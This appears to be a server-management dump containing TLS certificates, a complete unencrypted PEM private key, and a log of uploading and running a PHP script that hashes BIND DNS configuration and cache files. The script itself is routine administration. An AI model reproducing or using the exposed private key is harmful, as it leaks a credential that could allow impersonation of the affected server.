MEUCIEXIamg/HhvBNSTeor9CuteIY7ztZ8zdEoxkIKVMeWDjAiEAl/JY9u8lflhr
o1/ScRjYapHQyGtNRcj2egAK9ZAILhswDQYJKoZIhvcNAQELBQADggEBADyRVEJ7
9/knq4J4Bgxw7ptcMVRzz5Aonl3+nu2YO3BlmgkHCAybcjqCPwM7803/v+9d0rjf
ukk3EY4D89d+pVirs3lZGikwSWrZKjljP7o+3ZYadz2iRzbfWN7UtZmfyUUOLFlz
j/mSmBF63TUJsou+zlNVTYN9ct+z8crP2+11uM2AUhEHkE/7YfkatezzAbC7A9yg
K/C6zAHAR0d745C/Gm81EgPRL2xoX1roJOC9b8qXvGVEIWUCqlrHvL14NjQrZK3d
QU+DV/xoeqCSXokyHvW34KPizQETqVFluX0oTPvBz8dPzvGmiIAQlrsV6KNydHKt
uaxP7x2XgzCawRs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCUP930yRf2iB4a
VhmUzQ8mbydDQIKLLwwbuAsrJLCOvdr6UtfuPIM0jqrOKzsgdSSZ9KmeKtrkRtbr
/BZFHU3FFVyXXIJJW6oUI7NRI3KyK/kTDqPagEQAPOREG0jU2r8X6/Rh0xoUsq49
XAFeYLiTiYD9hrdlEHezuysoXIL4VCKeRtL5QY6l6jET+gOFYz/nomomHJGH56ZP
KW4cI27/78bcoA0CGL+qvnKorHFm+3KRdrxLy5ALFnOrwIpxiMR0mnAJnf+U2VJ8
fFcIuUCCgdflU7u6vTM5CdNcwkIvDkW2f7ItF5n7+G+giXqeftSeHY1UB/yAIygu
cYlD4clrAgMBAAECggEAQySR8DXLppqLl737JAujmvKow6rJ9SO/xiYa2NVrKZsP
PGSc64d4nSsobOvjgZXMl/XZhItATDdRS9wGchMNj/9Wyi7Zy0O6yhhJNKxrXArS
ajEtQN7q7XimoboByHWyKrFxI4UqwMkUZTHwZMBFmHykcS68jQdiT4Krz0HnB3TS
7AAgg7vfVWYUKFh+83LC2JaSzoXRQJ/TpbXeiG2rp1Q+ZetYEFtfY3gDDL+t4if4
R0dNHkNL4duGA3wX2RP+o+SUHvQF0+zMbXfi3pCBEvfwxuajxqhBadqkZ+fUk1YG
Khb5zK9/jr1/1GwEyCcco3cULDZqWQdi6nM8Nz2k8QKBgQDNRoNZUVFTpKAKjgVx
IC5In9KsSyAEfNIuMPVMnCAvwXF0f8rFEgl7TrPD09LvD//mHBPeXxmVn8SSkc/g
q2QYirUlyXynT+OHfrjpk8Jr6izZ3Xs/+r9EpwezbKUT99+svCE3lZu1SXqZIWK3
kB7ZJnGcpkJcdFWL4OPBq8XwxQKBgQC44fUmPRMH4j7fhUbo61vcbbsdzhQZNYIj
h8ZaVanTKtRzbbSTedYatkMIWY+kKuB6/cOzxUJfY03PPUiOIVNVejHPCpG8YtBK
GcGzH7AguMCY0gyoRurWCmRkmoCr64DUjoy+NnYlrJDb8r3f4Oxi8Ts8Jsoa77kn
MoovnzMUbwKBgDfrVoq1UT9E4GgfqjHX/2O/Tgera2xtiGAW7CvTeB0qSDrhOR6Y
PEb/+I6HHLYNGLvZuDvikjilTkpTOFrOtbTNzG0fxzpY0/WsOrk+jD8TiuZKpHGY
YBRWoA1rskiPRLpsgWv/8GvhOWmPo7G3q/+hrl9rFzbSZh91wvWWUpS1AoGAEqLE
ITyaxHqrt8Apa6T9t3RgHhr9r6TTH126QrTLz3tLuu7d+teXG04v55GPhw7DXeJi
baZ+kDrkRvV4cMsvKTiN+L6p/gE/2ZhLDBEvoby9vSm/GN89IKIfiHyCZ9HvRH2x
9iJrOlTwrRsExKJZcYe7Xs7SJHDxit/vSemULoUCgYA+OqiYE4CSXQni7vco4yBW
rHBnovY0fWGzrjsYSDlqoYGk1d8r49oZhrOQ/DpbUh1essAjv7k7caRWHXspcKpc
mOD5qVk7J1+mESCMXdX2eNlH/xF9+xLuqatlV7uYTVNZr0tLHCkZeoBCs4AS/0Yn
tBcP9fQUOeNyo2tvRnEj6g==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-17 18:59:28: Establishing a connection
2026-06-17 18:59:43: Establishing a connection
2026-06-17 18:59:44: 

PUT: /tmp/pkp213282

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 18:59:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp213282; rm /tmp/pkp213282'

2026-06-17 18:59:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
